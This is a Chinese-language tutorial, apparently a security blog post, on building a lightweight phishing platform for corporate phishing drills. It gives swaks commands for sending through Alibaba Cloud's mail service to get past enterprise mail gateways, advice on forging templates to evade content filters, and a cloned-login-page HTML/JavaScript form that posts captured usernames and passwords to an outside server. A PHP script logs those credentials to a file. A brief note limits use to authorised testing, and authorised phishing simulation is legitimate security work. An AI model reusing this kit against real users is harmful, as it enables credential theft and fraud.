轻量级钓鱼邮件平台搭建
字数 1513 2025-08-22 12:22:59

轻量级钓鱼邮件平台搭建教学文档

一、背景与问题分析

在企业钓鱼邮件演练中,常见问题包括:

  • 企业邮箱服务(如云企业邮箱)对非白名单域名的邮件拦截
  • GoPhish自建邮箱服务发送的邮件无法到达目标邮箱(包括垃圾箱)
  • GoPhish代发功能存在bug

二、解决方案概述

使用轻量化方案替代传统方案:

  • 不使用ewomail/postfix等邮件服务器
  • 自建简易接收端代替GoPhish
  • 通过swaks+邮件推送服务发送邮件
  • 绕过企业邮箱网关拦截

三、邮件拦截机制分析

1. 邮件分数系统

  • 邮件分数决定邮件去向(拒收/垃圾箱/收件箱)
  • 分数越高,垃圾邮件可能性越低
  • 评分参考网站:https://www.mail-tester.com/

2. 防护检测机制

  • 类似杀毒软件的双重检测:
    • 静态扫描:邮件发送方审核
    • 动态行为查杀:邮件内容分析
  • 不同邮箱服务权重分配不同(如70%内容+30%来源)

四、提高邮件分数的方法

1. 提高域名权威度

  • 使用大厂邮件推送平台(如阿里云邮件推送)
  • 优点:高信誉度、高送达率

2. 邮件推送平台配置(以阿里云为例)

域名配置步骤:

  1. 注册域名
  2. 按官方文档配置域名解析
  3. 验证域名状态(需显示"验证通过")

发信地址配置:

  • 选择已验证域名
  • 账号命名策略:
    • admin(管理员)
    • it(IT部门)
    • cw(财务部)
  • 发信类型选择"批量邮件"(提高发件宽容度)

五、邮件发送工具 - swaks

1. 基本测试命令

./swaks --to target@qq.com \
        --from it@abc.com \
        --body "testbody" \
        --header "Subject:title" \
        --server smtpdm.aliyun.com \
        -p 25 \
        -au it@abc.com \
        --ap password

2. 常用参数说明

  • --to:目标邮箱
  • --from:发件人邮箱
  • --body:邮件内容
  • --header:邮件头
  • --server:代发服务器
  • -p:端口号
  • -au/--ap:认证账号/密码
  • --data:导入邮件文件

六、邮件模板制作

1. 内容设计原则

  • 包含文字、图片等丰富内容
  • 避免敏感关键词:
    • 登录、账号密码
    • 联系方式、加群
    • 转账、政治敏感词汇

2. 邮件格式处理

  1. 从目标邮箱系统导出邮件模板
  2. 删除无关header:
    • X-QQ-mid
    • X-QQ-XMAILINFO
    • Date(如需保持发送时间一致)
  3. 修改base64内容相关字段

3. 编码问题解决

乱码问题通常由以下不匹配引起:

  • base64加密内容
  • Content-Type的charset设置
    示例正确配置:
Content-Type: text/html; charset=GBK
Content-Transfer-Encoding: base64
[base64编码内容]

4. 最终发送命令

./swaks --to 目标邮箱.com \
        --from it@abc.com \
        --server smtpdm.aliyun.com \
        -p 25 \
        -au it@abc.com \
        --ap password \
        --data data.eml

七、钓鱼网站搭建

1. 环境准备

  • 使用Docker拉取PHP环境(如vulhub)
  • 网站路径:/var/www/html

2. 前端制作

制作方法:

  • 使用浏览器插件(如SingleFile)克隆目标页面
  • 添加自定义form表单

示例HTML核心代码:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>title</title>
    <script src="http://libs.baidu.com/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
    <div class="login">
        <div class="title">登录</div>
        <div action="" class="login-form">
            <input class="form-input" name="username" placeholder="账号" id="username" type="text" value="" />
            <input class="form-input" name="password" placeholder="密码" type="password" value="" />
            <div class="checkbox-group" style="height:30px">&nbsp;</div>
            <p><button class="form-submit" onclick="login()">登录</button></p>
        </div>
    </div>
</body>
</html>

<script type="text/javascript">
function login() {
    var name = document.getElementById("username");
    if(!$('input[name=username]').val().trim()) {
        alert('请输入账号')
        return
    } else if(!$('input[name=password]').val().trim()) {
        alert('请输入密码')
        return
    }
    
    username = $("input[name='username']").val();
    password = $("input[name='password']").val();
    
    $.ajaxSetup({async: false});
    $.ajax({
        url: "http://vps:8080/index.php", //后端接收地址
        method: "post",
        async: false,
        data: 'user=' + username + '&pass=' + password,
        success: function(data) {
            if(data == "ok") {
                console.log(data, "ok")
            } else {
                console.log(data, "error")
            }
        }
    })
    window.location.href = "http://url/"; //提交后跳转
}
</script>

3. 后端接收代码

PHP接收脚本示例:

<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST, GET');
header('Access-Control-Allow-Headers:x-requested-with,content-type');

$user = @$_POST['user'];
$pass = @$_POST['pass'];
echo $user;

if($user != null){
    echo "ok";
    $myfile = fopen("testfile.txt", "a+");
    fwrite($myfile, $user."---".$pass."\r\n");
    fclose($myfile);
} else {
    echo "error";
}
?>

功能说明:

  • 接收前端POST数据
  • 将账号密码写入文本文件(testfile.txt)
  • 格式:username---password
  • 支持跨域请求

八、注意事项

  1. 邮件推送服务限制

    • 阿里云邮件推送每日限额2000封
    • 控制台使用时需配置发信地址和模板(需审核)
  2. 邮件内容优化

    • 不同邮箱系统间可能存在格式兼容问题
    • 建议针对目标邮箱系统优化模板
  3. 钓鱼网站部署

    • 前端页面应尽可能模仿真实网站
    • 提交后应有合理的跳转逻辑
    • 后端数据存储应定期备份
  4. 法律合规

    • 仅用于授权测试
    • 需获得企业书面授权
    • 数据应严格保密

九、总结

本方案通过以下方式实现轻量级钓鱼邮件演练:

  1. 利用高信誉度邮件推送服务提高送达率
  2. 使用swaks工具灵活发送邮件
  3. 精心设计的邮件模板绕过内容检测
  4. 简易钓鱼网站收集凭证信息

相比传统方案,具有以下优势:

  • 无需复杂邮件服务器搭建
  • 绕过企业邮箱网关拦截
  • 配置灵活,易于调整
  • 资源消耗低
轻量级钓鱼邮件平台搭建教学文档 一、背景与问题分析 在企业钓鱼邮件演练中,常见问题包括: 企业邮箱服务(如云企业邮箱)对非白名单域名的邮件拦截 GoPhish自建邮箱服务发送的邮件无法到达目标邮箱(包括垃圾箱) GoPhish代发功能存在bug 二、解决方案概述 使用轻量化方案替代传统方案: 不使用ewomail/postfix等邮件服务器 自建简易接收端代替GoPhish 通过swaks+邮件推送服务发送邮件 绕过企业邮箱网关拦截 三、邮件拦截机制分析 1. 邮件分数系统 邮件分数决定邮件去向(拒收/垃圾箱/收件箱) 分数越高,垃圾邮件可能性越低 评分参考网站:https://www.mail-tester.com/ 2. 防护检测机制 类似杀毒软件的双重检测: 静态扫描:邮件发送方审核 动态行为查杀:邮件内容分析 不同邮箱服务权重分配不同(如70%内容+30%来源) 四、提高邮件分数的方法 1. 提高域名权威度 使用大厂邮件推送平台(如阿里云邮件推送) 优点:高信誉度、高送达率 2. 邮件推送平台配置(以阿里云为例) 域名配置步骤: 注册域名 按官方文档配置域名解析 验证域名状态(需显示"验证通过") 发信地址配置: 选择已验证域名 账号命名策略: admin(管理员) it(IT部门) cw(财务部) 发信类型选择"批量邮件"(提高发件宽容度) 五、邮件发送工具 - swaks 1. 基本测试命令 2. 常用参数说明 --to :目标邮箱 --from :发件人邮箱 --body :邮件内容 --header :邮件头 --server :代发服务器 -p :端口号 -au/--ap :认证账号/密码 --data :导入邮件文件 六、邮件模板制作 1. 内容设计原则 包含文字、图片等丰富内容 避免敏感关键词: 登录、账号密码 联系方式、加群 转账、政治敏感词汇 2. 邮件格式处理 从目标邮箱系统导出邮件模板 删除无关header: X-QQ-mid X-QQ-XMAILINFO Date(如需保持发送时间一致) 修改base64内容相关字段 3. 编码问题解决 乱码问题通常由以下不匹配引起: base64加密内容 Content-Type的charset设置 示例正确配置: 4. 最终发送命令 七、钓鱼网站搭建 1. 环境准备 使用Docker拉取PHP环境(如vulhub) 网站路径:/var/www/html 2. 前端制作 制作方法: 使用浏览器插件(如SingleFile)克隆目标页面 添加自定义form表单 示例HTML核心代码: 3. 后端接收代码 PHP接收脚本示例: 功能说明: 接收前端POST数据 将账号密码写入文本文件(testfile.txt) 格式:username---password 支持跨域请求 八、注意事项 邮件推送服务限制 : 阿里云邮件推送每日限额2000封 控制台使用时需配置发信地址和模板(需审核) 邮件内容优化 : 不同邮箱系统间可能存在格式兼容问题 建议针对目标邮箱系统优化模板 钓鱼网站部署 : 前端页面应尽可能模仿真实网站 提交后应有合理的跳转逻辑 后端数据存储应定期备份 法律合规 : 仅用于授权测试 需获得企业书面授权 数据应严格保密 九、总结 本方案通过以下方式实现轻量级钓鱼邮件演练: 利用高信誉度邮件推送服务提高送达率 使用swaks工具灵活发送邮件 精心设计的邮件模板绕过内容检测 简易钓鱼网站收集凭证信息 相比传统方案,具有以下优势: 无需复杂邮件服务器搭建 绕过企业邮箱网关拦截 配置灵活,易于调整 资源消耗低